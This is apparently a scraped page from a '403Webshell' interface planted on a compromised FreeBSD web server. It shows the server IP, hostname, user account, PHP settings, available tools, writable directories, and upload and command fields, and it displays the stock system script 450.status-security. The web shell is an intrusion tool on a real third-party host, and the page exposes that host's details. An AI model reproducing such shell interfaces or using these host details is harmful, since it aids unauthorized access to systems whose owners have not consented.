403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /etc/periodic/daily/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /etc/periodic/daily/450.status-security
#!/bin/sh
#
# $FreeBSD: releng/12.4/usr.sbin/periodic/etc/daily/450.status-security 316548 2017-04-06 01:37:03Z asomers $
#

# If there is a global system configuration file, suck it in.
#
if [ -r /etc/defaults/periodic.conf ]
then
    . /etc/defaults/periodic.conf
    source_periodic_confs
fi

case "$daily_status_security_enable" in
    [Yy][Ee][Ss])
	echo ""
	echo "Security check:"

	case "$daily_status_security_inline" in
	    [Yy][Ee][Ss])
		daily_status_security_output="";;
	esac

	export security_output="${daily_status_security_output}"
	rc=0
	case "${daily_status_security_output}" in
	    "")
		if tempfile=`mktemp ${TMPDIR:-/tmp}/450.status-security.XXXXXX`
		then
			periodic security > $tempfile || rc=3
			if [ -s "$tempfile" ]; then
				cat "$tempfile"
				rc=3
			fi
			rm -f "$tempfile"
		fi;;
	    /*)
		echo "    (output logged separately)"
		periodic security || rc=3;;
	    *)
		echo "    (output mailed separately)"
		periodic security || rc=3;;
	esac;;
    *)  rc=0;;
esac

exit $rc

Youez - 2016 - github.com/yon3zu
LinuXploit